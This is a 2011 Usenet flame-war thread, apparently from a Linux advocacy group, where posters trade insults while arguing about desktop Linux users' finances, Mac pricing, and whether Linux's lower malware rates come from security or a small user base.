9/3/2011 5:58:52 PM
On 09/03/2011 10:34 AM, Snit wrote:
> David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
> 9/3/11 6:26 AM:
>
>> On 03/09/11 01:38, Big Steel wrote:
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Most Linux desktop users have a Windows license for their machines as
>> well, because it is difficult to buy a machine without one.  If you want
>> a PC without Windows, you usually have to build it yourself - and that
>> is normally more expensive than a pre-build one.
>
> You can also buy one from the following companies:
>
>      Abaco Computers
>      Blackstone Systems
>      Codelock Computer
>      ComputadoresLinux
>      Dell
>      Eight Virtues
>      Emperor Linux
>      eRack
>      Evo Technologies
>      Fit-PC
>      Frostbite Systems
>      Genesi USA
>      HP
>      Inatux
>      LinPC
>      Linutop
>      Linux Certified
>      Linux Emporium
>      Linux-service.be
>      Los Alamos Computers
>      open-pc
>      System76
>      Think Penguin
>      Zareason
>      Zinside
>
> And likely more.
>
>> People run Linux on desktops because they /choose/ to - not to save money.
>
> The first half is correct... but often in COLA it is noted how desktop Linux
> and many of its apps can be had for free.  Of course this is a huge
> "selling" point.  It is also one of the main reasons I, personally, use it
> for the businesses and individuals I install it for.
>

   The real answer is that the software is *offered* for free.

> In other words: I am a counter-example to the denial that it is not used to
> save money.  It is... I know because I use it for that purpose.
>
>> People may run Open Office rather than MS Office to save money, and
>> similarly with other programs.  And the lack of cost certainly makes it
>> easier to try out Linux.  But Linux users have usually already paid for
>> a Windows license for the machine (even if they never use it).
>
> I use it on many machines where I no longer have access to the license that
> came with the machine.  Or where the machine came without a Windows license.
> I am hardly the only one.
>
>> In my household, there are two laptops and two desktops.  They all came
>> with Windows licenses, but none of them have Windows installed (except
>> on a couple of virtual machines).
>
>
>


-- 
Norman
Registered Linux user #461062
AMD64X2 6400+ Ubuntu 10.04 64bit
0
npeelmandog (163)
9/3/2011 6:19:02 PM
On 9/3/2011 1:29 PM, Sneaky Weasel wrote:

<snipped>
>
> I paid for this computer and it came with Windows. I use Mint because I
> want to not because I have to.
>

So? Like I care what you do or don't do? :)

>>> People run Linux on desktops because they /choose/ to - not to save
>>> money.
>>
>> Whatever.......
>>>
>>> People may run Open Office rather than MS Office to save money, and
>>> similarly with other programs. And the lack of cost certainly makes it
>>> easier to try out Linux. But Linux users have usually already paid for a
>>> Windows license for the machine (even if they never use it).
>>
>> Most of them dumpster dive, they went to a pawnshop or someone gave them
>> an old computer. :)
>
> What horseshit.

I say they do and there is nothing you can do about it either. If you're 
using Linux then you are broke. However, if you use a Droid using 
Android Linux like I do, then you have to have some money in your 
pockets to use a Droid. :)

0
Big
9/3/2011 6:32:00 PM
Dustin wrote:

> The Natural Philosopher <tnp@invalid.invalid> wrote in
> news:j3sicd$2ea$3@news.albasani.net:
> 
>> Big Steel wrote:
>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11
>>>> 4:06 PM:
>>>>
>>>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>
>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>
>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted
>>>>>>>> by the usual techniques since the "dumb" userbase is so small
>>>>>>>> - that and reasonably secure interfaces to the outside world.
>>>>>>>
>>>>>>> Give it time. That dumb userbase is growing. The "friendlier"
>>>>>>> linux gets, the dumber the users you will have. This is what
>>>>>>> happened to windows, this is how linux will go too. I will
>>>>>>> laugh hysterically in the background. Not at anyone in
>>>>>>> particular, but at the computer industry as a whole.
>>>>>>
>>>>>>     You can't get any dumber than the Mac userbase.
>>>>>
>>>>> Not true. I know all kinds of graphics artists who do the mac
>>>>> thing.
>>>>>
>>>>>>     So where's all the malware?
>>>>>
>>>>> Mac isn't a windows market. Malware authors are about the money
>>>>> now. When
>>>>> mac has enough people to make it worthwhile, the malware authors
>>>>> will target it.
>>>>>
>>>> Hmmm, Macs have about 20% market share in the use and people pay
>>>> for them,
>>>> on average, about 2-3x as much.  So people in the US are spending
>>>> about the
>>>> same for Macs as they are on Windows machines... which implies the
>>>> owners might have about the same amount of money to be scammed out
>>>> of.  Or at least
>>>> pretty close.
>>>>
>>>> The security by obscurity claim is proving to be largely false.
>>>>
>>>>
>>> 
>>> LOL, I have to disagree here in the case of Linux at the desktop
>>> being used which is usually a sign that the user is broke and
>>> doesn't have any money. :)
>> 
>> And isn't preparde unlike Dopez, to use a pirated version of
>> Windows.
>> 
> 
> Pirated version? Please. It's not *that hard* to acquire a valid VLK
> key. No pirate.
> 
> 

Except that RayDopeAbuser was proud to tell us that he paid all of $5 
somewhere in Asia.

You know, that same guy who tells us how he is selfmade millionaire, 
programming with .NET

If you want someone dumber than RayLopez, look at some dirt. Should be dry 
dirt, though. Bacteria raise the IQ of dirt way beyond RayLopez


0
9/3/2011 6:38:58 PM
Dustin wrote:

> Big Steel <"The Steel11177ttta"@Steel11277ttta.com> wrote in
> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
> 
>> No bang for the buck with crooks and Linux at the desktop. So why
>> bother? :)
> 
> That's right. It's *not* that linux is somehow fort knox compared to
> windows, 
Maybe not Fort Know, but a lot safer? You bet

> it's that the userbase isn't viable for money making.
>  

And that same old bullshit over and over again.

Tell me, how did I ever get that Mac I use for programming OSX stuff?
How did I buy those other 7 computers I to be found here?
How did my son get his Mac? His iPhone?

How did I ever get to buy a sailboat?

By squandering money for basically useless windows and its applications?

Just don't tell us that you try to be dumber than Hadron Larry. First, thats 
a near impossible feat. Second, it is by no means desireable

0
9/3/2011 6:43:13 PM
So? Like I care what you do or don't do?


"Big Steel" <"The Steel11177ttta"@Steel11277ttta.com> wrote in message 
news:uPOdnVfPX7lQ7__TnZ2dnUVZ_uSdnZ2d@earthlink.com...
On 9/3/2011 1:29 PM, Sneaky Weasel wrote:

<snipped>
>
> I paid for this computer and it came with Windows. I use Mint because I
> want to not because I have to.
>

So? Like I care what you do or don't do? :)

.. However, if you use a Droid using
Android Linux like I do, then you have to have some money in your
pockets to use a Droid.

0
Bullwinkle
9/3/2011 6:46:58 PM
Peter K�hlmann wrote:
> Dustin wrote:
>
>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>  wrote in
>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>
>>> No bang for the buck with crooks and Linux at the desktop. So why
>>> bother? :)
>>
>> That's right. It's *not* that linux is somehow fort knox compared to
>> windows,
> Maybe not Fort Know, but a lot safer? You bet
>
>> it's that the userbase isn't viable for money making.
>>
>
> And that same old bullshit over and over again.
>
> Tell me, how did I ever get that Mac I use for programming OSX stuff?
> How did I buy those other 7 computers I to be found here?
> How did my son get his Mac? His iPhone?
>
> How did I ever get to buy a sailboat?
>
> By squandering money for basically useless windows and its applications?
>
> Just don't tell us that you try to be dumber than Hadron Larry. First, thats
> a near impossible feat. Second, it is by no means desireable
>
None of which has anything to do with his statement.

The Windows userbase is viable for making money because of the computing 
power that it represents, not because of the user's thick billfold. It's 
not about *who* gets their ID stolen - it's about *how many* get their 
ID stolen.
0
erratic (209)
9/3/2011 7:01:15 PM
On 9/3/2011 2:46 PM, Bullwinkle. wrote:

<snipped>

Bulltinkel your hole is 24hoursupport.helpdesk where you are the news 
clippings posting queen. Your hole is calling you.  I am telling you 
Bulltinkel.  COLA is your cup of tea it can be your second squat spot. 
COLA is trash like 24hrs.
0
Big
9/3/2011 7:07:38 PM
FromTheRafters wrote:

> Peter Köhlmann wrote:
>> Dustin wrote:
>>
>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>  wrote in
>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>
>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>> bother? :)
>>>
>>> That's right. It's *not* that linux is somehow fort knox compared to
>>> windows,
>> Maybe not Fort Know, but a lot safer? You bet
>>
>>> it's that the userbase isn't viable for money making.
>>>
>>
>> And that same old bullshit over and over again.
>>
>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>> How did I buy those other 7 computers I to be found here?
>> How did my son get his Mac? His iPhone?
>>
>> How did I ever get to buy a sailboat?
>>
>> By squandering money for basically useless windows and its applications?
>>
>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>> thats a near impossible feat. Second, it is by no means desireable
>>
> None of which has anything to do with his statement.

Oh, it certainly has

> The Windows userbase is viable for making money because of the computing
> power that it represents, not because of the user's thick billfold. It's
> not about *who* gets their ID stolen - it's about *how many* get their
> ID stolen.

And how easy, you forgot to mention.
For the same reason linux servers get hacked a lot less than windows 
servers. And linux servers represent 60% to >70% of servers (depending who 
is doing the survey).
Owning a server is much more desireable than owning a desktop. Because you 
get access to lots of desktop machines then

Tell us, how does *that* compute in your simpleton worldview?

0
9/3/2011 7:17:13 PM
On 9/3/2011 3:01 PM, FromTheRafters wrote:
> Peter K�hlmann wrote:
>> Dustin wrote:
>>
>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com> wrote in
>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>
>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>> bother? :)
>>>
>>> That's right. It's *not* that linux is somehow fort knox compared to
>>> windows,
>> Maybe not Fort Know, but a lot safer? You bet
>>
>>> it's that the userbase isn't viable for money making.
>>>
>>
>> And that same old bullshit over and over again.
>>
>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>> How did I buy those other 7 computers I to be found here?
>> How did my son get his Mac? His iPhone?
>>
>> How did I ever get to buy a sailboat?
>>
>> By squandering money for basically useless windows and its applications?
>>
>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>> thats
>> a near impossible feat. Second, it is by no means desireable
>>
> None of which has anything to do with his statement.
>
> The Windows userbase is viable for making money because of the computing
> power that it represents, not because of the user's thick billfold. It's
> not about *who* gets their ID stolen - it's about *how many* get their
> ID stolen.

Let's not forget now, you are dealing with COLA's Peter the Great 
Hypocrite. He can't collect a paycheck with Linux and he's got a lot of 
lip-service about Linux, but he can sure as hell collection a paycheck 
using MS solutions since he is a MS programmer.

Whatever you say to a COLA clown in COLA, you might as well be posting 
to the moon.
0
Big
9/3/2011 7:17:37 PM
FromTheRafters <erratic@nomail.afraid.org> writes:

> Peter Köhlmann wrote:
>> Dustin wrote:
>>
>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>  wrote in
>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>
>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>> bother? :)
>>>
>>> That's right. It's *not* that linux is somehow fort knox compared to
>>> windows,
>> Maybe not Fort Know, but a lot safer? You bet
>>
>>> it's that the userbase isn't viable for money making.
>>>
>>
>> And that same old bullshit over and over again.
>>
>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>> How did I buy those other 7 computers I to be found here?
>> How did my son get his Mac? His iPhone?
>>
>> How did I ever get to buy a sailboat?
>>
>> By squandering money for basically useless windows and its applications?
>>
>> Just don't tell us that you try to be dumber than Hadron Larry. First, thats
>> a near impossible feat. Second, it is by no means desireable
>>
> None of which has anything to do with his statement.
>
> The Windows userbase is viable for making money because of the computing power
> that it represents, not because of the user's thick billfold. It's not about
> *who* gets their ID stolen - it's about *how many* get their ID stolen.
>


Peter isn't very bright as you have surmised. He is actually a Windows
closed source software programmer but maintains he is not a Windows
user. Go figure. He also claims to be a world class C programmer and was
unaware that dereferencing a null point in C is a no go - not only that
but even given proof STILL tried to argue the toss. It's why he's so
aggressive. Being wrong all the time makes him belligerent as he
realises people are laughing at him. About the only person who reads his
rants is Creepy Chris Ahlstrom - but then he described "chrisv" from
COLA as "intelligent and insightful" and Rexx Ballard and 7 as geniuses.
0
hadronquark (21814)
9/3/2011 7:23:48 PM
On 9/3/2011 3:17 PM, Peter Köhlmann wrote:
> FromTheRafters wrote:
>
>> Peter Köhlmann wrote:
>>> Dustin wrote:
>>>
>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>   wrote in
>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>
>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>> bother? :)
>>>>
>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>> windows,
>>> Maybe not Fort Know, but a lot safer? You bet
>>>
>>>> it's that the userbase isn't viable for money making.
>>>>
>>>
>>> And that same old bullshit over and over again.
>>>
>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>> How did I buy those other 7 computers I to be found here?
>>> How did my son get his Mac? His iPhone?
>>>
>>> How did I ever get to buy a sailboat?
>>>
>>> By squandering money for basically useless windows and its applications?
>>>
>>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>>> thats a near impossible feat. Second, it is by no means desireable
>>>
>> None of which has anything to do with his statement.
>
> Oh, it certainly has

You can't reason with a COLA lunatic.

>
>> The Windows userbase is viable for making money because of the computing
>> power that it represents, not because of the user's thick billfold. It's
>> not about *who* gets their ID stolen - it's about *how many* get their
>> ID stolen.
>
> And how easy, you forgot to mention.
> For the same reason linux servers get hacked a lot less than windows
> servers. And linux servers represent 60% to>70% of servers (depending who
> is doing the survey).

That's Web servers dummy and you know it. Where have you seen a Linux 
Web server or done anything with a Linux Web server professionally or 
any kind of Linux server period?

Lets not forget now that you are a MS desktop COM programmer. And you 
are using MS solutions to collect a paycheck.

Why can't you get a job or collect a paycheck as a Linux programmer?

> Owning a server is much more desireable than owning a desktop. Because you
> get access to lots of desktop machines then
>
> Tell us, how does *that* compute in your simpleton worldview?
>

Like I said, he's Peter the Great a total hypocrite.
0
Big
9/3/2011 7:27:50 PM
Big Steel wrote:

> On 9/3/2011 3:17 PM, Peter Köhlmann wrote:
>> FromTheRafters wrote:
>>
>>> Peter Köhlmann wrote:
>>>> Dustin wrote:
>>>>
>>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>   wrote in
>>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>>
>>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>>> bother? :)
>>>>>
>>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>>> windows,
>>>> Maybe not Fort Know, but a lot safer? You bet
>>>>
>>>>> it's that the userbase isn't viable for money making.
>>>>>
>>>>
>>>> And that same old bullshit over and over again.
>>>>
>>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>>> How did I buy those other 7 computers I to be found here?
>>>> How did my son get his Mac? His iPhone?
>>>>
>>>> How did I ever get to buy a sailboat?
>>>>
>>>> By squandering money for basically useless windows and its
>>>> applications?
>>>>
>>>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>>>> thats a near impossible feat. Second, it is by no means desireable
>>>>
>>> None of which has anything to do with his statement.
>>
>> Oh, it certainly has
> 
> You can't reason with a COLA lunatic.
> 
>>
>>> The Windows userbase is viable for making money because of the computing
>>> power that it represents, not because of the user's thick billfold. It's
>>> not about *who* gets their ID stolen - it's about *how many* get their
>>> ID stolen.
>>
>> And how easy, you forgot to mention.
>> For the same reason linux servers get hacked a lot less than windows
>> servers. And linux servers represent 60% to>70% of servers (depending who
>> is doing the survey).
> 
> That's Web servers dummy and you know it. Where have you seen a Linux
> Web server or done anything with a Linux Web server professionally or
> any kind of Linux server period?

Idiot

> Lets not forget now that you are a MS desktop COM programmer. And you
> are using MS solutions to collect a paycheck.

Nope. I don't even program those thinsg on windows.
I compile them on windows. To get windows programs. Just as I compile them 
on OSX. To have the very same programs for apple.
Programming is all done on linux, you cretinous dimbulb

> Why can't you get a job or collect a paycheck as a Linux programmer?

I haven't "collected a paycheck" since about 20 years, Oh Really Stupid One.
I am selfemployed

>> Owning a server is much more desireable than owning a desktop. Because
>> you get access to lots of desktop machines then
>>
>> Tell us, how does *that* compute in your simpleton worldview?
>>
> 
> Like I said, he's Peter the Great a total hypocrite.

Idiot

0
9/3/2011 7:48:13 PM
On 9/3/2011 3:48 PM, Peter Köhlmann wrote:
> Big Steel wrote:
>
>> On 9/3/2011 3:17 PM, Peter Köhlmann wrote:
>>> FromTheRafters wrote:
>>>
>>>> Peter Köhlmann wrote:
>>>>> Dustin wrote:
>>>>>
>>>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>    wrote in
>>>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>>>
>>>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>>>> bother? :)
>>>>>>
>>>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>>>> windows,
>>>>> Maybe not Fort Know, but a lot safer? You bet
>>>>>
>>>>>> it's that the userbase isn't viable for money making.
>>>>>>
>>>>>
>>>>> And that same old bullshit over and over again.
>>>>>
>>>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>>>> How did I buy those other 7 computers I to be found here?
>>>>> How did my son get his Mac? His iPhone?
>>>>>
>>>>> How did I ever get to buy a sailboat?
>>>>>
>>>>> By squandering money for basically useless windows and its
>>>>> applications?
>>>>>
>>>>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>>>>> thats a near impossible feat. Second, it is by no means desireable
>>>>>
>>>> None of which has anything to do with his statement.
>>>
>>> Oh, it certainly has
>>
>> You can't reason with a COLA lunatic.
>>
>>>
>>>> The Windows userbase is viable for making money because of the computing
>>>> power that it represents, not because of the user's thick billfold. It's
>>>> not about *who* gets their ID stolen - it's about *how many* get their
>>>> ID stolen.
>>>
>>> And how easy, you forgot to mention.
>>> For the same reason linux servers get hacked a lot less than windows
>>> servers. And linux servers represent 60% to>70% of servers (depending who
>>> is doing the survey).
>>
>> That's Web servers dummy and you know it. Where have you seen a Linux
>> Web server or done anything with a Linux Web server professionally or
>> any kind of Linux server period?
>
> Idiot
>
>> Lets not forget now that you are a MS desktop COM programmer. And you
>> are using MS solutions to collect a paycheck.
>
> Nope. I don't even program those thinsg on windows.
> I compile them on windows. To get windows programs. Just as I compile them
> on OSX. To have the very same programs for apple.
> Programming is all done on linux, you cretinous dimbulb

I don't believe you. You will lie through your lying teeth at the drop 
of a hat like all COLA people do. You live to post and lie in COLA.
>
>> Why can't you get a job or collect a paycheck as a Linux programmer?
>
> I haven't "collected a paycheck" since about 20 years, Oh Really Stupid One.
> I am selfemployed

Fool, you know what I mean you jackass.  You are not making any money 
off of Linux I don't care how you get the money to pay your bills.
>
>>> Owning a server is much more desireable than owning a desktop. Because
>>> you get access to lots of desktop machines then
>>>
>>> Tell us, how does *that* compute in your simpleton worldview?
>>>
>>
>> Like I said, he's Peter the Great a total hypocrite.
>
> Idiot
>

Clown
0
Big
9/3/2011 7:58:01 PM
On 9/3/2011 3:48 PM, Peter Köhlmann wrote:
>>> For the same reason linux servers get hacked a lot less than windows
>>> servers. And linux servers represent 60% to>70% of servers (depending who
>>> is doing the survey).
>>
>> That's Web servers dummy and you know it. Where have you seen a Linux
>> Web server or done anything with a Linux Web server professionally or
>> any kind of Linux server period?
>
> Idiot
>
You are the idiot, just like you were an idiot when you lip-serviced 
about Model View Presenter and .NET, and you didn't have a goddamn clue 
about MVP.
0
Big
9/3/2011 8:02:08 PM
Big Steel wrote:

> On 9/3/2011 3:48 PM, Peter Köhlmann wrote:
>>>> For the same reason linux servers get hacked a lot less than windows
>>>> servers. And linux servers represent 60% to>70% of servers (depending
>>>> who is doing the survey).
>>>
>>> That's Web servers dummy and you know it. Where have you seen a Linux
>>> Web server or done anything with a Linux Web server professionally or
>>> any kind of Linux server period?
>>
>> Idiot
>>
> You are the idiot, just like you were an idiot when you lip-serviced
> about Model View Presenter and .NET, and you didn't have a goddamn clue
> about MVP.

Quit lying. I don't use .NEt *at* *all*
And never will

Youz have managed to be even more clueless than Hadron Larry. Congrats

0
9/3/2011 8:18:53 PM
Big Steel wrote:

> On 9/3/2011 3:48 PM, Peter Köhlmann wrote:
>> Big Steel wrote:
>>
>>> On 9/3/2011 3:17 PM, Peter Köhlmann wrote:
>>>> FromTheRafters wrote:
>>>>
>>>>> Peter Köhlmann wrote:
>>>>>> Dustin wrote:
>>>>>>
>>>>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>    wrote in
>>>>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>>>>
>>>>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>>>>> bother? :)
>>>>>>>
>>>>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>>>>> windows,
>>>>>> Maybe not Fort Know, but a lot safer? You bet
>>>>>>
>>>>>>> it's that the userbase isn't viable for money making.
>>>>>>>
>>>>>>
>>>>>> And that same old bullshit over and over again.
>>>>>>
>>>>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>>>>> How did I buy those other 7 computers I to be found here?
>>>>>> How did my son get his Mac? His iPhone?
>>>>>>
>>>>>> How did I ever get to buy a sailboat?
>>>>>>
>>>>>> By squandering money for basically useless windows and its
>>>>>> applications?
>>>>>>
>>>>>> Just don't tell us that you try to be dumber than Hadron Larry.
>>>>>> First, thats a near impossible feat. Second, it is by no means
>>>>>> desireable
>>>>>>
>>>>> None of which has anything to do with his statement.
>>>>
>>>> Oh, it certainly has
>>>
>>> You can't reason with a COLA lunatic.
>>>
>>>>
>>>>> The Windows userbase is viable for making money because of the
>>>>> computing power that it represents, not because of the user's thick
>>>>> billfold. It's not about *who* gets their ID stolen - it's about *how
>>>>> many* get their ID stolen.
>>>>
>>>> And how easy, you forgot to mention.
>>>> For the same reason linux servers get hacked a lot less than windows
>>>> servers. And linux servers represent 60% to>70% of servers (depending
>>>> who is doing the survey).
>>>
>>> That's Web servers dummy and you know it. Where have you seen a Linux
>>> Web server or done anything with a Linux Web server professionally or
>>> any kind of Linux server period?
>>
>> Idiot
>>
>>> Lets not forget now that you are a MS desktop COM programmer. And you
>>> are using MS solutions to collect a paycheck.
>>
>> Nope. I don't even program those thinsg on windows.
>> I compile them on windows. To get windows programs. Just as I compile
>> them on OSX. To have the very same programs for apple.
>> Programming is all done on linux, you cretinous dimbulb
> 

> I don't believe you. 

Guess what? I don't care what you believe

0
9/3/2011 8:20:04 PM
On 9/3/2011 4:18 PM, Peter Köhlmann wrote:
> Big Steel wrote:
>
>> On 9/3/2011 3:48 PM, Peter Köhlmann wrote:
>>>>> For the same reason linux servers get hacked a lot less than windows
>>>>> servers. And linux servers represent 60% to>70% of servers (depending
>>>>> who is doing the survey).
>>>>
>>>> That's Web servers dummy and you know it. Where have you seen a Linux
>>>> Web server or done anything with a Linux Web server professionally or
>>>> any kind of Linux server period?
>>>
>>> Idiot
>>>
>> You are the idiot, just like you were an idiot when you lip-serviced
>> about Model View Presenter and .NET, and you didn't have a goddamn clue
>> about MVP.
>
> Quit lying. I don't use .NEt *at* *all*
> And never will
>
Fool, you lip serviced about the Model View Presenter Design Patten 
dummy. You and I both know you have never used a Model View Presenter 
Design Pattern in your stink life not in any Web or desktop UI. And I am 
not talking about .NET stupid.

You see that's how ignorant you are about it.

> Youz have managed to be even more clueless than Hadron Larry. Congrats
>

Yeah yeah Peter the Great Hypocrite you are great one.
0
Big
9/3/2011 8:33:51 PM
On 9/3/2011 4:20 PM, Peter Köhlmann wrote:

>>> Nope. I don't even program those thinsg on windows.
>>> I compile them on windows. To get windows programs. Just as I compile
>>> them on OSX. To have the very same programs for apple.
>>> Programming is all done on linux, you cretinous dimbulb
>>
>
>> I don't believe you.
>
> Guess what? I don't care what you believe

You stupid clown if you didn't care your dumbass wouldn't have responded. :)

Like I said, you can't reason with a COLA lunatic.

0
Big
9/3/2011 8:36:08 PM
Peter Köhlmann wrote:
> FromTheRafters wrote:
>
>> Peter Köhlmann wrote:
>>> Dustin wrote:
>>>
>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>   wrote in
>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>
>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>> bother? :)
>>>>
>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>> windows,
>>> Maybe not Fort Know, but a lot safer? You bet
>>>
>>>> it's that the userbase isn't viable for money making.
>>>>
>>>
>>> And that same old bullshit over and over again.
>>>
>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>> How did I buy those other 7 computers I to be found here?
>>> How did my son get his Mac? His iPhone?
>>>
>>> How did I ever get to buy a sailboat?
>>>
>>> By squandering money for basically useless windows and its applications?
>>>
>>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>>> thats a near impossible feat. Second, it is by no means desireable
>>>
>> None of which has anything to do with his statement.
>
> Oh, it certainly has

No it hasn't, it has to do with the numbers. He could have been more 
explicit by stating "the size of the userbase" instead of "userbase" but 
that should be no problem if left implicit for any *thinking* person.

>> The Windows userbase is viable for making money because of the computing
>> power that it represents, not because of the user's thick billfold. It's
>> not about *who* gets their ID stolen - it's about *how many* get their
>> ID stolen.
>
> And how easy, you forgot to mention.

Forgot to mention? Fact is I just plain wasn't talking about servers.

> For the same reason linux servers get hacked a lot less than windows
> servers. And linux servers represent 60% to>70% of servers (depending who
> is doing the survey).

That's probably due more to OS security than to the population.

> Owning a server is much more desireable than owning a desktop. Because you
> get access to lots of desktop machines then

So, if the ultimate quest is for "lots of desktops" what executable 
filetype would you compile your SpamBot for ELF or EXE?

Exactly - you'd target the most popular platform.

> Tell us, how does *that* compute in your simpleton worldview?

Just shows me what an idiot you are, were you expecting something else?
0
erratic (209)
9/3/2011 8:52:25 PM
Dustin stated in post Xns9F558E94ED96BHHI2948AJD832@no on 9/3/11 10:54 AM:

> Snit <usenet@gallopinginsanity.com> wrote in
> news:CA86B55A.A49B2%usenet@gallopinginsanity.com:
> 
>> Hmmm, Macs have about 20% market share in the use and people pay for
>> them, on average, about 2-3x as much.  So people in the US are
>> spending about the same for Macs as they are on Windows machines...
> 
> No they aren't. I can build an impressive PC for half the cost of a
> decent mac.

I suggest you check your math.

My claim:
    People generally pay 2-3x for a Mac than what they would pay
    for a PC.

Your claim:
    You have a PC about half the cost of a Mac.

And then you claim I am wrong.  Perhaps you read my comments incorrectly?

>> which implies the owners might have about the same amount of money
>> to be scammed out of.  Or at least pretty close.
> 
> Ehh, no. Macs are by far more expensive.

Hence the "2-3x as much".
  
>> The security by obscurity claim is proving to be largely false.
> 
> LOL, not hardly. I confess tho, I do have the advantage here, insider
> knowledge.

I was in reference to Macs.  I was only including malware that directly
scams the infected party.  Someone else jumped in and noted that a lot of
malware does things other than this - acting as a zombie for example.

And I agreed - my comments had not taken that into consideration and I stood
corrected.

Still, Macs are popular enough now (about 6% world market share) where the
security by obscurity view is losing strength, just not by as much as I
implied in my initial comments.

-- 
🙈🙉🙊


0
usenet2 (47889)
9/3/2011 8:59:17 PM
Hadron wrote:
> FromTheRafters<erratic@nomail.afraid.org>  writes:
>
>> Peter Köhlmann wrote:
>>> Dustin wrote:
>>>
>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>   wrote in
>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>
>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>> bother? :)
>>>>
>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>> windows,
>>> Maybe not Fort Know, but a lot safer? You bet
>>>
>>>> it's that the userbase isn't viable for money making.
>>>>
>>>
>>> And that same old bullshit over and over again.
>>>
>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>> How did I buy those other 7 computers I to be found here?
>>> How did my son get his Mac? His iPhone?
>>>
>>> How did I ever get to buy a sailboat?
>>>
>>> By squandering money for basically useless windows and its applications?
>>>
>>> Just don't tell us that you try to be dumber than Hadron Larry. First, thats
>>> a near impossible feat. Second, it is by no means desireable
>>>
>> None of which has anything to do with his statement.
>>
>> The Windows userbase is viable for making money because of the computing power
>> that it represents, not because of the user's thick billfold. It's not about
>> *who* gets their ID stolen - it's about *how many* get their ID stolen.
>>
>
>
> Peter isn't very bright as you have surmised. He is actually a Windows
> closed source software programmer but maintains he is not a Windows
> user. Go figure. He also claims to be a world class C programmer and was
> unaware that dereferencing a null point in C is a no go - not only that
> but even given proof STILL tried to argue the toss. It's why he's so
> aggressive. Being wrong all the time makes him belligerent as he
> realises people are laughing at him. About the only person who reads his
> rants is Creepy Chris Ahlstrom - but then he described "chrisv" from
> COLA as "intelligent and insightful" and Rexx Ballard and 7 as geniuses.

Linux can stand on its own and doesn't need advocacy - especially if it 
comes from people as clueless as this. It only proves the point of the 
Linux userbase being polluted leading to more Windows-like experience 
down the road as far as malware is concerned.

The first clue is when you argue with them they try to make it sound 
like you are arguing against Linux when all you are really doing is 
arguing against some stupid statement they made.
0
erratic (209)
9/3/2011 9:07:34 PM
FromTheRafters wrote:

> Peter Köhlmann wrote:
>> FromTheRafters wrote:
>>
>>> Peter Köhlmann wrote:
>>>> Dustin wrote:
>>>>
>>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>   wrote in
>>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>>
>>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>>> bother? :)
>>>>>
